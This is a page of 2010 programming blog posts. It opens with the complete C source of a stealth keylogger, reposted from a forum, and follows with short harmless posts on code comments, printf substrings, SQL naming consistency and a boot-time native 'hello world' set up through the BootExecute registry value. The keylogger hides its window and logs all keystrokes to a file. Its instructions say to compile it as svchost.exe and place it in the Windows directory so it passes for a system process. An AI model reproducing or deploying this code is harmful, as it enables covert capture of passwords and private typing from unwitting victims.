Friday, December 31, 2010

Keylogger based on GetAsyncKeyState

/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
* *
* File: SVCHOST.c *
* *
* Purpose: a stealth keylogger, writes to file "svchost.log" *
* *
* Usage: compile to svchost.exe, copy to c:\%windir%\ and run it. *
* *
* Copyright (C) 2004 White Scorpion, www.white-scorpion.nl, all rights reserved *
* *
* This program is free software; you can redistribute it and/or *
* modify it under the terms of the GNU General Public License *
* as published by the Free Software Foundation; either version 2 *
* of the License, or (at your option) any later version. *
* *
* This program is distributed in the hope that it will be useful, *
* but WITHOUT ANY WARRANTY; without even the implied warranty of *
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the *
* GNU General Public License for more details. *
* *
* You should have received a copy of the GNU General Public License *
* along with this program; if not, write to the Free Software *
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. *
* *
* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */


#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
HWND stealth; /*creating stealth (window is not visible)*/
AllocConsole();
stealth=FindWindowA("ConsoleWindowClass",NULL);
ShowWindow(stealth,0);


int t=get_keys();

return t;
}

int get_keys(void)
{
short character;
while(1)
{
Sleep(10);/*to prevent 100% cpu usage*/
for(character=8;character<=222;character++)
{
if(GetAsyncKeyState(character)==-32767)
{

FILE *file;
file=fopen("svchost.log","a+");
if(file==NULL)
{
return 1;
}
if(file!=NULL)
{
if((character>=39)&&(character<=64))
{
fputc(character,file);
fclose(file);
break;
}
else if((character>64)&&(character<91))
{
character+=32;
fputc(character,file);
fclose(file);
break;
}
else
{
switch(character)
{
case VK_SPACE:
fputc(' ',file);
fclose(file);
break;
case VK_SHIFT:
fputs("[SHIFT]",file);
fclose(file);
break;
case VK_RETURN:
fputs("\n[ENTER]",file);
fclose(file);
break;
case VK_BACK:
fputs("[BACKSPACE]",file);
fclose(file);
break;
case VK_TAB:
fputs("[TAB]",file);
fclose(file);
break;
case VK_CONTROL:
fputs("[CTRL]",file);
fclose(file);
break;
case VK_DELETE:
fputs("[DEL]",file);
fclose(file);
break;
case VK_OEM_1:
fputs("[;:]",file);
fclose(file);
break;
case VK_OEM_2:
fputs("[/?]",file);
fclose(file);
break;
case VK_OEM_3:
fputs("[`~]",file);
fclose(file);
break;
case VK_OEM_4:
fputs("[ [{ ]",file);
fclose(file);
break;
case VK_OEM_5:
fputs("[\\|]",file);
fclose(file);
break;
case VK_OEM_6:
fputs("[ ]} ]",file);
fclose(file);
break;
case VK_OEM_7:
fputs("['\"]",file);
fclose(file);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
case VK_NUMPAD1:
case VK_NUMPAD2:
case VK_NUMPAD3:
case VK_NUMPAD4:
case VK_NUMPAD5:
case VK_NUMPAD6:
case VK_NUMPAD7:
case VK_NUMPAD8:
case VK_NUMPAD9:
fputc(character-60,file);
fclose(file);
break;
case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;
default:
fclose(file);
break;
}
}
}
}
}

}
return EXIT_SUCCESS;
}



Taken from http://www.rohitab.com/discuss/topic/36622-c-keylogger/

Tuesday, December 7, 2010

Comments /*in code*/

Best code is the code that is easily readable. But again it is not always possible to write complex logic that way. I such cases your best option is to explain the code in simple English! yup comments were invented for a reason you know :D

There are few philospphies that I have seen people adopting:

1> Comments are for noob
Follower of this philosophy don't write comments at all. I have seen thousands of lines of code without comments. Only place they use comments are obsolete code :(

This makes code hard to understand and hard to maintain. Always remember the maintainability of the code takes precedence over readability and writability.

2> Comments for everything
This is some thing that my instructor in university wanted from us. Though this philosophy has it's own issues. I would recommend that all the instructors adopt this philosophy. This way kids are trained not to skip comments when they are under pressure.

In professional environment this is not that great an idea. Sometime the green block of code takes too much attention. This makes code hard to read as well. There is a very big fat line between the first 2 categories and one should always reside on that line :)

3>Comments are for coder
This is most popular style people adopt. Developers use comments where the logic is so complex that even the write of the code got confused. So he wrote some comments so that he can recall the magic used there when he reads the comment.

There are 2 issues here. First is that the usually the code could have been broken down in simpler sub sections. Second issue is that why didn't developer think of simpler logic in the first place :D

4> Write code for human beings, not machines
This is perhaps the most efficient way of writing comments. Always write code for a human reader. The machine will eventually understand you code once it is compiled. But there is no software that will make your code readable for a human reader. BTW I think this is an excellent idea for a product :P

If your code is not readable... and there is nothing you can do to make it human reader write comments to make it readable :)

Wednesday, September 22, 2010

printf for substring

There are situations when you don't want to print whole string. The first time when I was in need of such functionality was when I wanted to print ANSI_STRING in driver level. This special data structure does not put a trailing '\0' at end of every string. Rather Each string has a field that store the length of the buffer. If you find yourself in any such situation fear not =) printf can output a substring as well. All you need is the length of substring. Here is the code for that... enjoy!!!


#include "stdio.h"

int main ()
{
char * hello = {"Hello World! How are you doing?"};
int len = 12;
printf("%.*s\n", len, hello);
return 0;
}


Here is the output of this function:

Hello World!

Tuesday, June 29, 2010

Always try to check the spellings... and be consistent with them :)

Well this is the basic most important thing to to do. This helps you retrieve information easily. Today I spent 10 mins trying to figure out a problem. I was to retrieve data from some_analysis table. How did I know that a table with name some_analysis existed. That's easy I had a foreign_table that had a column named Some_Analysis_ID. So I constructed a query, but query failed to execute.

select * from some_analysis where id = (select some_analysis_id from foreign_table where id = 13);

I asked my colleague if this table existed and he verified that there was a table with this name. So after much effort I fond the DB schema, and guess what I found. Table name was some_analysEs

I was mad first but realized that analyses are legal spellings as well :( The only problem was consistency

Monday, May 10, 2010

Hello World for boot time native application

Hello world at user mode is not hard. Almost all of us have done that. Though it seemed hard at that time.

Hello world at driver level is not that hard either. here is a link to an excellent tutorial.

Let me take you to a different level of application. The Native application. Native environment is different from our user mode in a sense that only Native API's are available. A most common example of native application is actochk.exe. If you think that u have never seen this exe... think again. Did you ever notice the blue box that shows at windows startup. Yup that's autochk.exe. This is the application that checks the disk health at boot time.

How good it would be to write an application that shows hello world at that time.

Tools you need in this adventure are

1) regedit
2) WDK

Using WDK we'll compile our native application. and using regedit we'll enable windows to load our small utility at boot time.


Step 1: Adding Registry Entry
------------------------
Well let's start with easier step. HKLM\System\CurrentControlSet\Control\Session Manager\BootExecute is the value that will run our application at boot time.

BootExecute is a multi-line value so don't forget to add your entry after the existing entries :) (unless you want to remove default entries, which might help you if you are sick of the stupid, self righteous chkdsk utility ;))

Make sure that you copy hello.exe to c:\Windows\System32.

My BootExecute looks like this:

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager]
"BootExecute"=hex(7):61,00,75,00,74,00,6f,00,63,00,68,00,65,00,63,00,6b,00,20,\
00,61,00,75,00,74,00,6f,00,63,00,68,00,6b,00,20,00,2a,00,00,00,68,00,65,00,\
6c,00,6c,00,6f,00,00,00,00,00



This looks scary but in regedit you can set BootExecute to:

autocheck autochk *
hello


Step 2: Compiling The Code
------------------------
I have compiled this code with WinDDK version 6001.18002. For this you need 3 files in a directory and using build environment fpr your target give "build" command.

1. "Source":
------------------
TARGETNAME=hello
TARGETTYPE=PROGRAM
UMTYPE=nt


C_DEFINES=$(C_DEFINES) -DUNICODE -D_UNICODE

LINKLIBS=$(SDK_LIB_PATH)\shell32.lib

INCLUDES=$(INCLUDES); \
$(DDK_INC_PATH); \

SOURCES=hello.c

!if "$(DDK_TARGET_OS)"=="WinLH"
_NT_TARGET_VERSION=$(_NT_TARGET_VERSION_WINXP)
!endif





2. "makefile"
------------------
!INCLUDE $(NTMAKEENV)\makefile.def






3. hello.c
------------------
#include "ntddk.h"
#include


typedef int BOOL;
typedef unsigned long DWORD;
typedef unsigned __int64 ULONGLONG;

NTSYSAPI
NTSTATUS
NTAPI
NtDelayExecution(
IN ULONG bAlertable,
IN PLARGE_INTEGER pDuration
);

NTSYSAPI
NTSTATUS
NTAPI
NtDisplayString(
IN PUNICODE_STRING pString
);

NTSYSAPI
NTSTATUS
NTAPI
NtTerminateProcess(
IN HANDLE hProcess,
IN ULONG ExitCode
);


VOID __stdcall Print(__wchar_t *msg);
VOID __stdcall Sleep(DWORD dwMilliseconds);


void NtProcessStartup( PVOID arg) {
int i;
Print(L"Hello World!!!\n");
Print(L"Sleeping for 10 seconds");

for (i=0; i < 10; i++)
{
Print(L".");
Sleep(1000);
}
Print(L"\nNow loading Windows");
Sleep(1000);
NtTerminateProcess( NtCurrentProcess(), 0 );
}

VOID __stdcall Print(__wchar_t *msg) {
UNICODE_STRING umsg;
RtlInitUnicodeString (&umsg, msg);
NtDisplayString(&umsg);
}

VOID __stdcall Sleep(DWORD dwMilliseconds) {
LARGE_INTEGER Interval;
NTSTATUS errCode;

#pragma warning( disable : 4146 )
Interval.QuadPart = -(ULONGLONG)dwMilliseconds * 10000;
#pragma warning( default : 4146 )

errCode = NtDelayExecution (FALSE, &Interval);

return;
}